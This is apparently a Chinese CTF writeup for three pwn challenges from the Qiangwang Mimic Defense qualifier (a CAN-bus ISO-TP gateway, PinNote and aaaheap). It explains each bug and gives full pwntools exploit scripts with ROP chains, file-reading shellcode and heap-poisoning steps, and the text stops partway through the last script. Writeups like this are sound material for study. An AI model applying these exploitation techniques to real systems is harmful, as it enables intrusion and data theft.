[第八届“强网”拟态防御国际精英挑战赛-线上预选赛] Pwn writeup

本文总阅读量

[车联网] can

题目信息

  • 题目介绍:一辆联网的车载网关正在接收来自 CAN 总线的分段诊断报文,你能通过与其远程配置接口交互来操控重组逻辑,请找到系统漏洞并读取敏感文件。
  • 附件:pwn

题解

题目程序简单地实现了ISO-TP(ISO 15765-2)协议,用于处理分段的诊断报文,开启了沙箱禁掉了execveexecveat系统调用。询问AI,给出了如下的PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import *

BINARY = './can/pwn'
MAGIC = 12803159
elf = ELF(BINARY)
context(arch=elf.arch, os="linux", log_level="debug")
context.terminal = ["kitty"]
def leak_addr(name, addr): return log.success(f'{name}----->'+hex(addr))


def debug(io, gdbscript=""):
gdb.attach(io)
pause()


def send_frame(io, can_id, data):
"""Send ISO-TP frame: AABBCC # DD EE FF ..."""
frame = f"{can_id:06X} # " + " ".join(f"{b:02X}" for b in data)
io.sendlineafter(b"> ", frame.encode())
return frame


def pwn():
io = process(BINARY)
# io = remote('127.0.0.1', 9999)

# Auth
io.sendlineafter(b"Enter magic number:\n", str(MAGIC).encode())

CAN_ID = 0x123

# ========== Step 1: Leak address ==========
# Send FF first to enter segmented state, then CF with wrong sequence
log.info("Leaking handler address...")

# Send FF frame
send_frame(io, CAN_ID, b"\x10\x10" + b"A"*6) # FF with total=0x10

# Send CF with wrong sequence to trigger error
send_frame(io, CAN_ID, b"\x25" + b"B"*7) # CF seq=5, but expected=1

# Receive leak
io.recvuntil(b"handler=")
handler_addr = int(io.recvline().strip(), 16)
log.success(f"Leaked handler address: {hex(handler_addr)}")
bss_base = handler_addr + 0x2760
leak_addr(b"bss_base", bss_base)
debug(io)
# Calculate base
# From IDA: handle_isotp_frame is at offset 0x18C0
# handler_offset = 0x18C0
# base = handler_addr - handler_offset
# log.success(f"Binary base: {hex(base)}")

# # Calculate g_data_buffer address
# # From IDA: g_data_buffer is at offset 0x6060 in .bss
# g_data_buffer = base + 0x6060
# log.success(f"g_data_buffer: {hex(g_data_buffer)}")

# # Reset state for actual exploit
# io.sendlineafter(b"> ", b"reset")

# # ========== Step 2: Build shellcode ==========
# shellcode = asm('''
# /* open("flag.txt", O_RDONLY) */
# push 0x747874
# mov rax, 0x2e67616c66
# push rax
# mov rdi, rsp
# xor esi, esi
# push 2
# pop rax
# syscall

# /* read(fd, rsp, 100) */
# mov edi, eax
# xor eax, eax
# mov dl, 100
# syscall

# /* write(1, rsp, rax) */
# push 1
# pop rdi
# mov edx, eax
# push 1
# pop rax
# syscall

# /* exit(0) */
# push 60
# pop rax
# xor edi, edi
# syscall
# ''')

# log.info(f"Shellcode: {len(shellcode)} bytes")

# # ========== Step 3: Send exploit payload ==========
# TOTAL = 0x110 # 272 bytes

# # FF frame
# log.info("Sending FF frame...")
# ff_header = bytes([0x10 | ((TOTAL >> 8) & 0x0F), TOTAL & 0xFF])
# send_frame(io, CAN_ID, ff_header + shellcode[:6])

# offset = 6
# seq = 1
# sc_ptr = 6

# # Send shellcode in CF frames
# log.info("Sending shellcode in CF frames...")
# while sc_ptr < len(shellcode):
# chunk = shellcode[sc_ptr:sc_ptr+7]
# send_frame(io, CAN_ID, bytes([0x20 | seq]) + chunk)
# seq = (seq % 15) + 1
# offset += len(chunk)
# sc_ptr += 7

# # Pad to offset 251
# log.info(f"Padding to 251 (current: {offset})...")
# while offset < 251:
# size = min(7, 251 - offset)
# send_frame(io, CAN_ID, bytes([0x20 | seq]) + b"A" * size)
# seq = (seq % 15) + 1
# offset += size

# # Align to 256
# log.info("Aligning to 256...")
# send_frame(io, CAN_ID, bytes([0x20 | seq]) + b"B" * 5)
# seq = (seq % 15) + 1
# offset = 256

# # Overwrite g_callback_ptr with g_data_buffer address
# log.success(f"Overwriting callback_ptr with {hex(g_data_buffer)}...")
# addr = p64(g_data_buffer)
# send_frame(io, CAN_ID, bytes([0x20 | seq]) + addr[:7])
# seq = (seq % 15) + 1

# send_frame(io, CAN_ID, bytes([0x20 | seq]) + addr[7:8] + b"C" * 6)
# seq = (seq % 15) + 1

# # Trigger callback
# log.info("Triggering callback...")
# send_frame(io, CAN_ID, bytes([0x20 | seq]) + b"Z" * 2)

# log.success("Exploit sent! Waiting for flag...")
io.interactive()


if __name__ == '__main__':
pwn()

事实上,该PoC只有第一部分能够使用。不过AI给我们提供了报文wrapper函数send_frame,用于自动构建报文,并且给出了报文解析的基本规则,通过调试可以得出我们通过FF和CF发出的帧数据会在bss段累积,最终会覆写到0x6160偏移处的一个函数指针。

can

而且,这个函数指针会在输入长度过长时被调用,第一个参数rdi为我们传输的数据起始点地址(偏移0x6060)。由于劫持该函数指针只能进行一次调用,我找到了一个magic gadget(如下所示)用于栈迁移,配合之前传输的数据构造ROP链进行攻击

1
2
3
push rdi;
pop rsp;
ret;

具体步骤是先泄漏libc地址,由于题目没有给出,我在在线网站查到了其版本,并选取可能性最大的版本2.39-0ubuntu8.6_amd64进行攻击

由于题目给了mprotect函数,我在libc中找到了一组能够修改rdx的gadgets将rdx控制,接着构造ROP链mprotect(bss_addr,0x2000,7)使bss段可读可写可执行,最后在写入shellcode即可完成ORW

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
from pwn import *
from ctypes import *
# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

context(arch="amd64", os="linux", log_level="debug")
# Now no need tmux !
# context.terminal = ["tmux", "split", "-h"]
context.terminal = ["kitty"]
binary_path = "./can/pwn"
libc_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.39-0ubuntu8.6_amd64/libc.so.6"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)

local = 1

ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote("pwn-326c7b4afd.challenge.xctf.org.cn", 9999, ssl=True)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#


def send_frame(io, can_id, data):
"""Send ISO-TP frame: AABBCC # DD EE FF ..."""
frame = f"{can_id:06X} # " + " ".join(f"{b:02X}" for b in data)
io.sendlineafter(b"> ", frame.encode())
return frame


p.sendlineafter(b"ber:\n", str(0xC35C57).encode())


CAN_ID = 0x123
send_frame(p, CAN_ID, b"\x10\x10" + b"A"*6) # FF with total=0x10
send_frame(p, CAN_ID, b"\x25" + b"B"*7) # CF seq=5, but expected=1

p.recvuntil(b"handler=0x")

elf_base = int(p.recvuntil(b"\n"), 16) - 0x18c0

puts_got = elf.got["puts"] + elf_base
puts_plt = elf.plt["puts"] + elf_base

mpro_plt = elf.plt["mprotect"] + elf_base
rsp_rdi = elf_base + 0x00000000000012d3 # : push rdi; pop rsp; ret;


TOTAL = 0x110


"""
0x0000000000001557: pop rdi; ret;
0x0000000000001555: pop rsi; pop r15; ret;
0x00000000000584d9: pop r13; ret;
0x00000000000b00d7: mov rdx, r13; pop rbx; pop r12; pop r13; pop rbp; ret;
0x000000000000101a: ret;
"""

pop_rdi = elf_base + 0x1557
pop_rsi = elf_base + 0x1555

payload = p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(elf_base + 0x101a)
payload += p64(elf_base + 0x1220)

ff_header = bytes([0x10 | ((TOTAL >> 8) & 0x0F), TOTAL & 0xFF])
send_frame(p, CAN_ID, ff_header + payload[0:4])

for i in range(0, 63):
content = b"\x00" * 4
if i*4 + 4 < len(payload):
if i*4 + 8 > len(payload):
content = payload[i * 4 + 4:].ljust(4, b"\x00")
else:
content = payload[i * 4 + 4:i * 4 + 8]
send_frame(p, CAN_ID, (0x20 + i % 15 + 1).to_bytes() + content)

part = rsp_rdi
send_frame(p, CAN_ID, b"\x24" + p32(part & 0xffffffff))
send_frame(p, CAN_ID, b"\x25" + p32(part >> 32))

send_frame(p, CAN_ID, b"\x26" + b"B" * 7)
send_frame(p, CAN_ID, b"\x27" + b"B" * 7)

libc_base = recv(b"\n") - libc.sym["puts"]
pop_r13 = libc_base + 0x584d9
mov_rdx = libc_base + 0x00000000000b00d7

open = """
mov rcx, 0x67616c662f;
push rcx;
mov rdi, rsp;
xor esi, esi;
xor edx, edx;
push 2;
pop rax;
syscall;
"""

sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


p.sendlineafter(b"ber:\n", str(0xC35C57).encode())

payload = p64(pop_rdi)
payload += p64(elf_base + 0x5000)
payload += p64(pop_rsi)
payload += p64(0x2000)
payload += p64(0x2000)
payload += p64(pop_r13)
payload += p64(0x7)
payload += p64(mov_rdx)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(mpro_plt)
payload += p64(elf_base + 0x60d0)
payload += asm(open + sendfile)

send_frame(p, CAN_ID, ff_header + payload[0:4])

for i in range(0, 63):
content = b"\x00" * 4
if i*4 + 4 < len(payload):
if i*4 + 8 > len(payload):
content = payload[i * 4 + 4:].ljust(4, b"\x00")
else:
content = payload[i * 4 + 4:i * 4 + 8]
send_frame(p, CAN_ID, (0x20 + i % 15 + 1).to_bytes() + content)

dbg(p)
part = rsp_rdi
send_frame(p, CAN_ID, b"\x24" + p32(part & 0xffffffff))
send_frame(p, CAN_ID, b"\x25" + p32(part >> 32))
send_frame(p, CAN_ID, b"\x26" + b"B" * 7)
send_frame(p, CAN_ID, b"\x27" + b"B" * 7)
send_frame(p, CAN_ID, b"\x00" + b"B"*7)
'''
'''

# 1840
ls(libc_base)
ls(elf_base)


p.interactive()

[Pwn] PinNote

题目信息

  • 题目介绍:一本基于口令的加锁笔记!
  • 附件:pin_note.zip

题解

题目提供了一个具有沙箱环境的菜单堆

如果只有一个题目进程的话,该题目的菜单堆部分是毫无漏洞的。漏洞出在多进程的场景

该题目存堆块size的方法是采用mmap从/tmp中映射一个文件进来,而文件名是字符串”pin_“拼上一个随机字符串,随机字符串的最终来源是rand()函数。继续溯源,发现题目是在最开始运行srand(time(0))根据当前时间摇了一个种子,其参数的时间单位是秒。

如果我们在同一秒内启动多个进程,那么srand()函数传入的种子就会一模一样,从而随机文件的文件名也是一样的。这种情况下,这些进程事实上在同一个文件上存取堆块size,存在一个非常明显的竞态漏洞:我们可以用一个的进程修改另一个进程的堆块size,从而创造一个很强大的堆越界读写的原语。

note

以上图片可以看出两个进程的映射文件都是/tmp/pin_aec4ae4b

通过该原语,我们可以通过tcache投毒完成任意地址读写。基地址可以通过unsorted bin和tcache bin 泄漏。本题目我采用的具体方法是任意读environ获得栈地址,计算得到返回地址之后任意写ROP链,从而ORW获得flag

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
from pwn import *
from ctypes import *
# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

context(arch="amd64", os="linux", log_level="debug")
# Now no need tmux !
# context.terminal = ["tmux", "split", "-h"]
context.terminal = ["kitty"]
binary_path = "./pin_note/pin_note"
libc_path = "./pin_note/libc.so.6"
ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "pwn-8197f4e89d.challenge.xctf.org.cn", 9999
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
p2 = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote(ip, port, ssl=True)
p2 = remote(ip, port, ssl=True)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
log.success(func_name + ": " + hex(func_addr))
offset = func_addr - libc.symbols[func_name]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("offset: " + hex(offset))
return (system, binsh)


csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
if mode == 0:
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
else:
payload += p64(edi) # r12
payload += p64(rsi) # edi
payload += p64(rdx) # rsi
payload += p64(r12) # rdx
payload += p64(start)
payload += b"a" * 56
return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)


def io_file(flag, read_ptr, read_end, wdata, mode, vtable):
return flat(
{
0x0: flag,
0x8: p64(read_ptr),
0x10: p64(read_end),
0xA0: p64(wdata),
0xC0: p64(mode),
0xD8: p64(vtable),
},
filler=b"\x00",
)


"""
amd64:

0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
"""


def house_of_apple2(_IO_wfile_overflow, base_addr, func):
# must set mode=1 when use stderr
fake_io = flat(
{
0x0: b" sh;",
0xA0: p64(base_addr + 0xE0),
0xD8: p64(_IO_wfile_overflow - 0x18),
},
filler=b"\x00",
)
fake_wdata = flat(
{
0x18: p64(0), # _IO_write_base
0x30: p64(0), # _IO_buf_base
0xE0: p64(base_addr + 0x1D0) + p64(0), # padding
},
filler=b"\x00",
)
fake_wvtable = flat(
{
0x68: p64(func),
},
filler=b"\x00",
)
"""
b _IO_wdoallocbuf
assert len == 0x240
"""
return fake_io + fake_wdata + fake_wvtable


# =================start=================#

def add(size, io):
io.sendlineafter(b"$> ", b"add")
io.sendlineafter(b"ote: ", str(size).encode())


def edit(idx, size, content, io):
io.sendlineafter(b"$> ", b"edit")
io.sendlineafter(b"to edit: ", str(idx).encode())
io.sendlineafter(b"newsize: ", str(size).encode())
io.sendlineafter(b"(y/n): ", b"y")
io.sendafter(b" for note: ", content)
return


def edit_n(idx, size, io):
io.sendlineafter(b"$> ", b"edit")
io.sendlineafter(b"to edit: ", str(idx).encode())
io.sendlineafter(b"newsize: ", str(size).encode())
io.sendlineafter(b"(y/n): ", b"n")


def edit_o(idx, size, io):
io.sendlineafter(b"$> ", b"edit")
io.sendlineafter(b"to edit: ", str(idx).encode())
io.sendlineafter(b"newsize: ", str(size).encode())


def show(idx, io):
io.sendlineafter(b"$> ", b"show")
io.sendlineafter(b"show: ", str(idx).encode())


def delete(idx, io):
io.sendlineafter(b"$> ", b"del")
io.sendlineafter(b"elete: ", str(idx).encode())


def quit(io):
io.sendlineafter(b"$> ", b"exit")


p.sendlineafter(b"select: ", b"1")
p.sendlineafter(b"): ", b"Mim")
p.sendlineafter(b"select: ", b"2")

p2.sendlineafter(b"select: ", b"1")
p2.sendlineafter(b"): ", b"Mim")
p2.sendlineafter(b"select: ", b"2")


add(0x20, p)
add(0x440, p)


add(0x500, p2)

add(0x20, p)
delete(1, p)


paylaod = b"a" * 0x2f + b"|"
edit(0, 0x500, paylaod, p)
show(0, p)
p.recvuntil(b"|")
libc_base = recv(b"\n") - 0x21ace0
open = libc_base + libc.sym["open"]
environ = libc_base + libc.sym["environ"]
ls(libc_base)


paylaod = b"a" * 0x28 + p64(0x451)
edit(0, 0x500, paylaod, p)
add(0x20, p)
add(0x20, p)
delete(3, p)

add(0x500, p2)
add(0x500, p2)
add(0x500, p2)
add(0x500, p2)

sleep(0.5)

paylaod = b"a" * 0x2f + b"|"
edit(1, 0x100, paylaod, p)
show(1, p)

p.recvuntil(b"|")
heap_xor = recv(b'\n')
heap_base = heap_xor << 12

paylaod = b"a" * 0x28 + p64(0x31)
edit(1, 0x100, paylaod, p)

ls(heap_base)

add(0x100, p)
add(0x100, p)
delete(4, p)
delete(3, p)

paylaod = b"a" * 0x28 + p64(0x31)
paylaod += b"a" * 0x28 + p64(0x111)
paylaod += p64((heap_base + 0x2a0) ^ heap_xor)
edit(1, 0x100, paylaod, p)

add(0x100, p)
add(0x100, p)

paylaod = p64(0) + p64(environ)
edit(4, 0x100, paylaod, p)

show(0, p)
p.recvuntil(b"Content: ")

stack_base = recv(b"\n")
ls(stack_base)
ret_addr = stack_base - 0x220

paylaod = p64(0) + p64(ret_addr)
paylaod += b"./flag\x00"
edit(4, 0x100, paylaod, p)

pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx_pop = 0x000000000011f357 + libc_base

read = libc_base + libc.sym["read"]
puts = libc_base + libc.sym["puts"]

dbg(p)

paylaod = p64(pop_rdi)
paylaod += p64(heap_base + 0x2b0)
paylaod += p64(pop_rsi)
paylaod += p64(0)
paylaod += p64(pop_rdx_pop)
paylaod += p64(0)
paylaod += p64(0)
paylaod += p64(open)

paylaod += p64(pop_rdi)
paylaod += p64(3)
paylaod += p64(pop_rsi)
paylaod += p64(heap_base + 0x700)
paylaod += p64(pop_rdx_pop)
paylaod += p64(0x100)
paylaod += p64(0)
paylaod += p64(read)

paylaod += p64(pop_rdi)
paylaod += p64(heap_base + 0x700)
paylaod += p64(puts)

edit(0, 0x100, paylaod, p)

# quit(p)

# dbg(p2)

# 0x19C9

'''
p.sendlineafter(b"select: ", b"1")
p.sendlineafter(b"cation: ", b"Mim")
p.sendlineafter(b"word: ", b"MimIcDef!")
p.sendlineafter(b"select: ", b"2")

add(0x70, p)
# edit(0, 0x0, b"o" * 0x78)

quit(p)
'''


p.interactive()

[Pwn] aaaheap

题目信息

题解

一个aarch64架构的菜单堆题,动态链接但是题目提供了全面的lib环境

IDA静态分析发现其存在大量间接调用,调试分析可以发现其用于间接调用的指向函数虚表的指针位于位置较低且固定的堆中。同时,低地址堆环境中还存储着我们目前创建的堆块地址和大小,如下所示

heap

题目提供了增删查改四个功能,虽然限制了堆块大小,但是存在严重的UAF漏洞,可以通过tcache投毒完成任意读写

我们能够通过tcache泄漏堆地址,然后根据相对位置固定的堆中拿到PIE偏移基地址。之后,我们可以劫持元数据堆块,修改其堆地址以及大小字段实现无限制的任意地址读写,一个很强大的原语。我一开始采用的方法是泄漏environ拿到栈地址,然后构造ROP链来攻击。这种方法本地成功,但是远程不知道为什么无法读入栈地址,失败了

之后采用的方法是覆写指向函数虚表的指针到堆环境,根据精心构造的偏移量劫持函数指针从而劫持控制流,之后采用一个magic gadget(如下所示)来间接控制第一个参数寄存器x0以及通过blr x1来跳转到system函数,从而构造出了aarch64下的system("/bin/sh")函数,成功getshell

1
2
3
4
ldr x0, [x0];
ldr x1, [x0, #0x38];
ldr x1, [x1, #0x18];
blr x1; 0x0

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
from elftools.construct import lib
from pwn import *
from ctypes import *

from pwnlib.rop import gadgets
# from LibcSearcher import *
# from pwnlib.dynelf import ctypes
# from pwnlib.fmtstr import make_atoms_simple

context(arch="amd64", os="linux", log_level="debug")
# Now no need tmux !
# context.terminal = ["tmux", "split", "-h"]
context.terminal = ["kitty"]
binary_path = ["qemu-aarch64", "-g", "1234",
"-L", "./aaaheap/lib/", "./aaaheap/vuln"]

# binary_path = ["qemu-aarch64",
# "-L", "./aaaheap2/lib/", "./aaaheap2/vuln"]

# binary_path = ["qemu-aarch64", "./aaaheap/patch"]
libc_path = "./aaaheap2/lib/lib/libc.so.6"

ld_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so"

elf = ELF("./aaaheap2/vuln")


libc = ELF(libc_path)

local = 1

ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
p = process(binary_path)
def dbg(p): return gdb.attach(p)
else:
p = remote("pwn-ae489717fc.challenge.xctf.org.cn", 9999, ssl=True)
# p = remote("pwn.challenge.ctf.show",port)
# p = remote("node5.buuoj.cn", port)
def dbg(_): return None


def ls(addr): return log.success(hex(addr))
def recv(char): return u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


sendfile = """
xchg rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
push 0x50;
pop r10;
push 40;
pop rax;
syscall;
"""


"""
def search(func_name: str, func_addr: int):
log.success(func_name + ": " + hex(func_addr))
libc = LibcSearcher(func_name, func_addr)
offset = func_addr - libc.dump(func_name)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
"""


def search_from_libc(func_name: str, func_addr: int, libc=libc):
